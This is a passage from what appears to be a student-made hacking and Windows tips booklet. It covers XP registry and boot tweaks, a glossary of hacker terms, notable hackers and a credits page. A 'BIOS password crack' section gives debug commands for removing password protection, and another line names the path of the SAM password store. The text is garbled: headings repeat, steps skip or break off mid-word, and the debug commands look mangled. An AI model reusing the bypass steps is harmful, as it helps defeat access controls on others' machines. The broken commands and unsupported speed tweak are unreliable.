a system administrator for collecting performance statistics. However, for a home
user, these statistics hold no value and since the monitoring happens all the time, it
consumes a good deal of system resources. “Disk monitoring”, for example, happens
in the background, and turning it off is advisable if you will not be using the
performance monitoring applications. To turn it off, type in “diskperf -N” at a
command prompt. To bring up the command prompt: go to Start>Run, type in “cmd”
and press [Enter].
21)21) Removing Multiple Boot Screens:
If you are getting unwanted multiple boot screen
Then Follow these Steps.
1> Right Click on My Computer
2> Select Properties
3> Select Advanced Tab
4> Select Settings In the Startup & Recovery Section(3rd grp)
5> Select the operating system which u want.
6> And Click OK.
7> Further again press the setting and click on Edit.
8> It will open boot.ini File.
9>Now u can delete those o/s which you don't want to be displayed.
Note: For deleting operating systems from boot.ini file, keep it mind that you
can't delete that o/s which is selected by default there. Before
making any changes make a copy of boot.ini file.
22)22) Enabling Hibernation:
167
Go to diplay properties>screen savers>power>hibernate. Check 'Enable Hibernation'.
Press shift button after you click 'Turn Off Computer' in start menu.
23)23) To Increase the Internet Speed:
Open Notepad and paste the below code in it.
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Paramete
rs]
"SackOpts"=dword:00000001
"TcpWindowSize"=dword:0005ae4c
"Tcp1323Opts"=dword:00000003
"DefaultTTL"=dword:00000040
"EnablePMTUBHDetect"=dword:00000000
"EnablePMTUDiscovery"=dword:00000001
"GlobalMaxTcpWindowSize"=dword:0005ae4c
Now save this file as speed.reg. Execute it and observe the change!
24)24) Changing Your Dynamic IP Address:
1. Click on "Start" in the bottom left hand corner of screen
2. Click on "Run"
3. Type in "command" and hit okay
4. Type "ipconfig /release" just like that, and hit "enter"
5. Type "exit" and leave the prompt
6. Right-click on "Network Places" or "My Network Places" on your desktop.
7. Click on "properties"
8. Right click on "Local Area Connection" and click "properties"
9. Double-click on the "Internet Protocol (TCP/IP)" from the list under the
"General" tab
10. Click on "Use the following IP address" under the "General" tab
11. Create an IP address (It doesn't matter what it is. I just type 1 and 2 until it fill
the area up).
11. Press "Tab" and it should automatically fill in the "Subnet Mask" section with
default numbers.
12. Hit the "ok" button here
13. Hit the "ok" button again
168
14. Right-click back on "Local Area Connection" and go to properties again.
16. Go back to the "TCP/IP" settings
17. This time, select "Obtain an IP addres
25)25) BIOS PASSWORD CRACK
1)Boot up windows from CD.
2)Go to dos prompt or go to command prompt directly from the windows start up
menu.
3)Type the command at the prompt:"debug"(without quotes)
4)Type the following lines now exactly as given...
07010
07120
quit
exit
4)Exit from the dos prompt and restart the machine.
PASSWORD PROTECTION IS GONE.
Just make ur backup
26)26) where is the windows xp administrator password saved??
C:/WINDOWS/SYSTEM32/CONFIG/SAM
27)27) )
Windows 2000 Workstation's log-in screen has a "Shutdown" button which you
can use to shutdown the system without ever logging in. But you can disable
Windows 2000 Workstation's "Shutdown" button on the initial log-in screen:
Run "RegEdit.exe" or "RegEdt32.exe"
Select the following key:
HKEY_LOCAL_MACHINE\
SOFTWARE\Microsoft\Windows NT\
169
Current Version\Winlogon
Add a value named "ShutdownWithoutLogon" of type "REG_SZ" and set it to "0".
Restart Windows
28)28) Adding a Shortcut Key to Your Internet Connection
To add items when you right-click on the Start Button:
Start Regedit
Go to HKey_Classes_Root / Directory / Shell
Right-click on Shell and select New / Key
Type in the name of the key and press the Enter key
In the Default name that shows in the right hand panel, you can add a title with a &
character in front of the letter for a shortcut
Right-click on the key you just created and create another key under it called
command
For the value of this command, enter the full path and program you want to execute
Now when you right click on the Start Button, your new program will show up. You
do not need to reboot first.
Back
170
171
Glossary
LexiconLexicon A hacker is anyone who enjoys the intellectual challenge of creatively overcoming or
circumventing limitations, primarily in their fields of interest, namely programming or
electrical engineering. As will be discussed below, there is a trend in the popular press to use
the term to describe computer criminals, and others whose motivations are less pure than the
traditional hacker, which trend greatly annoys many of those old-school computer/technology
enthusiasts.
Origin of the term at MITOrigin of the term at MIT
The term originally developed at MIT long before computers became common; a
"hack" meant a simple, but often inelegant, solution. The term hack came to refer to any
clever prank perpetrated by MIT students; the perpetrator is a hacker. To this day the terms
hack and hacker are used in that way at MIT, without necessarily referring to computers.
When MIT students surreptiously put a police car atop the dome on MIT's Building 10, that
was a hack, and the students involved were therefore hackers. Computer culture at MIT
developed when members of the Tech Model Railroad Club started working with a Digital
Equipment Corporation PDP-1 computer and applied local model railroad slang to computers.
In modern computer culture, the label "hacker" is a compliment, indicating a skilled and
clever programmer. In the media, however, it has negative connotations and has become
synonymous with "software cracker".
The term The term hackerhacker is used in five senses in common use is used in five senses in common use:
1. Someone who knows a (sometimes specified) set of programming interfaces well
enough to write novel and useful software without conscious thought on a good day.
2. Someone who (usually illegally) attempts to break into or otherwise subvert the
security of a program, system or network, often with malicious intent. This usage was
annoying to many in the developer community who grew up with the primary
meaning in sense (1), and preferred to keep it that way; they preferred the media used
the term cracker. However this wound up causing even more problems as simply
172
creating a new word did nothing to dispel misconceptions. "Black hat hacker" is a
phrase that wound up with the same problems as the word "cracker".
3. Someone who attempts to break into systems or networks in order to help the owners
of the system by making them aware of security flaws in it. This is referred to by some
as a "white hat hacker" or sneaker. Many of these people are employed by computer
security companies, and are doing something completely legal; and many were
formerly hackers within sense 2.
4. Someone who, through either knowledge or trial and error, makes a modification to an
existing piece of software, made available to the hacker community, such that it
provides a change of functionality. Such change is normally a benefit. Rather than a
competition, the exchange of improvements is most often experienced as a
cooperative learning effort.
5. A Reality Hacker or Urban Spelunker (origin: MIT); someone who enjoys exploring
air ducts, rooftops, shafts and other hidden aspects of urban life, sometimes including
pulling elaborate pranks for the enjoyment and entertainment of the community.
"Script kiddie" is reserved for a computer user of little or no skill who simply follows
directions or uses a cook-book approach without fully understanding the meaning of the steps
they are performing.
"h4x0r" (pronounced Hacks-Or) is a script kiddie in the context of a computer game
(i.e. someone who uses a program to modify a game giving them special and unfair
advantages). "h4x0r" is often used jokingly or as a term of endearment between gamers.
Note that while the term hacker denotes competence, the noun hack often means
kludge and thus has a negative connotation while the verb hack generally shares the same
competent connotations.
The hacker community (the set of people who would describe themselves as hackers,
or who would be described by others as hackers) falls into at least three partially overlapping
categories. The word hacker probably derives from the somewhat derogatory hack, used in
the newspaper industry typically to refer to a Journalist who types his stories without
checking his facts first.
173
Hacker -- Brilliant ProgrammerHacker -- Brilliant Programmer
One who knows a (sometimes specified) set of programming interfaces well enough to
write novel and useful software without conscious thought on a good day. This type of hacker
is respected within the development community for the freedom they represent, although the
term still carries some of the meaning of Hack, developing programs without adequate
planning. This zugzwang sets freedom and the ability to be creative against methodical
careful progress. Corporate programming environments typically favor only either the good
hackers or the careful computer scientist. At their best, Hackers can be surprisingly
productive. Industry standard rates of development are in the range of 6-10 lines of code
(debugged, and documented) per hour. A Hacker in stride can produce a few hundred or
occasionally even thousands lines of code an hour by leveraging their previous work. As a
result a Hacker may be able to sketch out the full shape of a program to a level of quality that
can be used for demonstrating ideas in less than a week. Thus it isn't hard to see what some
companies find useful in Hacker talent. The down side of Hacker productivity is generally
agreed to be in maintainability, documentation, and completion. Very talented hackers may
become bored with a project once they have figured out all of the hard parts, and be unwilling
to finish off the details. This attitude can cause friction in shops where other programmers are
expected to pick up the half finished work, decipher the structures and ideas, and bullet-proof
the code. In other cases, where a Hacker is willing to maintain their own code, a company
may be unable to find anyone else who is capable or willing to dig through code to maintain
the program if the original programmer moves on to a new job.
Hacker -- Computer CriminalHacker -- Computer Criminal
174
The popular press has been known to use the terms "hacker" and occasionally
"cracker" for someone who attempts to break into or otherwise subvert the security of a
system or network. Both usages are annoying to many in the developer community who grew
up with the primary meaning of "hacker" in the Guru sense, and who don't see the problem
solved by the invention of new and nebulous words like "cracker" or "black hat". Instead,
there has been a move to define terms when describing these people. What makes someone a
"hacker", a "computer criminal", or just a regular computer user? Once these details are
known, the proper word (or combination) can be accurately applied. While it will always be
possible to use one's "hacker" skills in a destructive way, this tends to go against the loosely
defined hacker ethic. One can certainly use hacking skills to commit a crime. However, this
means that this particular hacker is now a criminal, vandal, malicious user, etc., existing
words that do a much better job of describing the person's actions than the nebulous
"cracker". If a locksmith used his skills to break into a building, few would debate that he had
crossed into the criminal world and there would be no need to invent a word to define
criminal or malicious locksmiths. The reason hackers face these kinds of problems is because
the mass media tends to believe anyone who says they are a hacker - and people say they are
hackers because of the mass media's sensationalist portrayals. This deceptive cycle will
probably only come to an end with the education of reporters and the general public on what
constitutes a hacker and what does not. A group known as the "Hacker Antidefamation
League" has this goal.But, indeed, it's likely that the confusion and dissonance exists
precisely because "hacking" describes a *skill set* -- akin to picking locks -- whose tools can
be used both ethically and unethically, by both people who are basically ethical, and those
who are not (these are two related, but separate distinctions -- what long-time system
administrator has not violated a company policy by breaking into some company facility for
an authorized user in order that that person can complete an important project?) This may
well be the crux of the argument, in fact: so-called 'white-hat' hackers are uncomfortable at
the exposure of the darker side of their skill-set, notwithstanding the fact that, like comic-
book superheroes, they only utilize those skills for Good.Software cracking is the process of
removing any sort of software enforced protection scheme from a piece of software.There are
several recurring tools of the trade used by hackers to gain unauthorized access to computers:
Trojan horseTrojan horse
175
These are applications that seem to do useful work, but set up a back door so that the
hacker can later return and enter the system. These include programs which mimic login
screens. Viruses that fool a user into downloading and/or executing them by pretending to be
useful applications are also sometimes called trojan horses.
SnooperSnooper
Applications that capture password and other data while it is in transit either within
the computer, or over the network
VirusVirus -- An application that propagates itself opportunistically by waiting in the
background until the user offers it a new medium to infect. The term came into usage by
comparison with biological viruses, which reproduce by infecting a cell and taking advantage
of its life functions. Similarly, computer viruses, unlike worms, embed themselves within files
on the host system. When "infected" executables run, or sometimes when infected binary data
files are read, the virus is able to spread to other binary format files on the local system,
floppy disks or over the network. Viruses are often confused with worms.
wormworm -- An application that actively probes for known weaknesses across the
network, then propagates itself through an exploitation of those weaknesses. The original
Usenet post describing the MorrisWorm described the distinction between viruses and worms
thus: worms do not attach themselves to code. Popular usage appears to favour worms being
more active than viruses. However, the Jargon File, as of version 4.4.1, maintains the original
sense of the term. A Worm in this original sense is any independent program which
reproduces itself over a network (a program reproducing itself on the local machine only
repeatedly until the machine crashes is known as a wabbit). After the comparison between
computer viruses and biological viruses, the obvious comparison here is to a bacterium.
Vulnerability ScannerVulnerability Scanner
A tool used to quickly check computers on a network for known weaknesses. Hackers
also use Port Scanners. These check to see which ports on a specified computer are "open" or
available to acess the computer through.
Exploit (computer scienceExploit (computer science) -- A prepared application that takes advantage of a known
weakness
Social engineering Social engineering -- Asking someone for the password or account (possibly over a
176
beer.) Also includes looking over someone's shoulder while they enter their password, or
posing as someone else in order to get sensitive information
Root kit Root kit -- A toolkit for hiding the fact that a computer's security has been
compromised. Root kits may include replacements for system binaries so that it becomes
impossible to see applications being run by the intruder in the active process tables.
LeeLeet -- An English pidgin that helps to obscure hacker discussions and web sites, and
paradoxically it simplifies the location of resources in public search engines for those who
know the language.
Hacker -- Grey Hat Hacker -- Grey Hat
1) A black-hat hacker turned white-hat. See below.
2) A white-hat hacker who uses black-hat techniques to satisfy their employers, for whom
they act as white-hat.
177
Hacker -- White HatHacker -- White Hat
White hat hackers often overlap with black hat depending on your perspective. The
primary difference is that a white hat hacker observes the hacker ethic, a sort of golden rule of
computing similar to: Do unto others as you would have them do unto you. Like black hats,
white hats are often intimately familiar with the internal details of security systems, and can
delve into obscure machine code when needed to find a solution to a tricky problem without
requiring support from a system manufacturer. An example of a hack: Microsoft Windows
ships with the ability to use cryptographic libraries built into the operating system. When
shipped overseas this feature becomes nearly useless as the operating system will refuse to
load cryptographic libraries that haven't been signed by Microsoft, and Microsoft will not
sign a library unless the US Government authorizes it for export. This allows the US
Government to maintain some perceived level of control over the use of strong cryptography
beyond its borders. While hunting through the symbol table of a beta release of Windows, a
couple of overseas hackers managed to find a second signing key in the Microsoft binaries.
That is without disabling the libraries that are included with Windows (even overseas) these
individuals learned of a way to trick the operating system into loading a library that hadn't
been signed by Microsoft, thus enabling the functionality which had been lost to non-US
users. Whether this is good (white hat) or bad (black hat) may depend on whether you are the
US Government or not, but is generally considered by the computing community to be a
white hat type of activity.
How Some Hackers Define ThemselvesHow Some Hackers Define Themselves
The following is the definition given by the jargon file (a dictionary of hacker jargon)
accepted by some (but not all) in the hacker community:
hacker n. [originally, someone who makes furniture with an axe]
178
1. A person who enjoys exploring the details of programmable systems and how to
stretch their capabilities, as opposed to most users, who prefer to learn only the
minimum necessary.
2. One who programs enthusiastically (even obsessively) or who enjoys programming
rather than just theorizing about programming.
3. A person capable of appreciating hack value.
4. A person who is good at programming quickly.
5. An expert at a particular program, or one who frequently does work using it or on it;
as in `a Unix hacker'. (Definitions 1 through 5 are correlated, and people who fit them
congregate.)
6. An expert or enthusiast of any kind. One might be an astronomy hacker, for example.
7. One who enjoys the intellectual challenge of creatively overcoming or circumventing
limitations.
8. [deprecated] A malicious meddler who tries to discover sensitive information by
poking around. Hence `password hacker', `network hacker'. The correct term for this
sense is cracker.
The term `hacker' also tends to connote membership in the global community defined by the
net (see the network and Internet address). For discussion of some of the basics of this
culture, see the How To Become A Hacker FAQ. It also implies that the person described is
seen to subscribe to some version of the hacker ethic. It is better to be described as a hacker
by others than to describe oneself that way. Hackers consider themselves something of an
elite (a meritocracy based on ability), though one to which new members are gladly welcome.
There is thus a certain ego satisfaction to be had in identifying yourself as a hacker (but if you
claim to be one and are not, you'll quickly be labeled bogus). See also geek, wannabee. This
term seems to have been first adopted as a badge in the 1960s by the hacker culture
surrounding TMRC and the MIT AI Lab. We have a report that it was used in a sense close to
this entry's by teenage radio hams and electronics tinkerers in the mid-1950s.
179
Notable Hackers
Richard Stallman -- A hacker of the old school, Stallman walked in off the street and
got a job at MIT's Artificial Intelligence Lab in 1971. Stallman is a legendary hacker, the
founder of the free software movement, a MacArthur "genius grant" recipient and a
programmer capable of prodigious exploits. Ken Thompson and Dennis Ritchie -- The driving
creative force behind Bell Labs' legendary computer science operating group, Ritchie and
Thompson created UNIX in 1969. Steve Wozniak -- The co-founder of Apple Computer got
his start making devices for phone phreaking. Linus Torvalds -- Torvalds was a computer
science student at the University of Helsinki when he wrote the Linux kernel in 1991. Eric S.
Raymond -- He is one of the founder of the Open Source Initiative and he wrote the famous
text The Cathedral and the Bazaar and many other essays. He also maintains the Jargon File
for the Hacker culture, which was previously maintained by Guy L. Steele, Jr.. Larry Wall --
The creator of the Perl programming language. Johan Helsingius -- Operated the world's most
popular anonymous remailer, the Penet remailer (called penet.fi), until he closed up shop in
September 1996. Tsutomu Shimomura -- Shimomura outhacked and outsmarted Kevin
Mitnick, the United States's most infamous hacker, in early 1994.
Back
180
PREPARED BYPREPARED BY
• NIKHIL KHANDELWAL NIKHIL KHANDELWAL (Leader, Supervisor, Page Designer(Leader, Supervisor, Page Designer))
• RAHUL GUPTA RAHUL GUPTA (Ass. Leader, Editor, Page Designer )(Ass. Leader, Editor, Page Designer )
• ARPIT GARG ARPIT GARG (Main Source Collector,(Main Source Collector, Page Designer Page Designer))
• MRIGESH BHANDARI MRIGESH BHANDARI (Source Collector)(Source Collector)
• SHIKHA AGARWAL SHIKHA AGARWAL (Source Collector)(Source Collector)
• NEHA JAIN NEHA JAIN (Source Collector)(Source Collector)
• MANISH PUROHIT MANISH PUROHIT (Source Collector)(Source Collector)
Back
181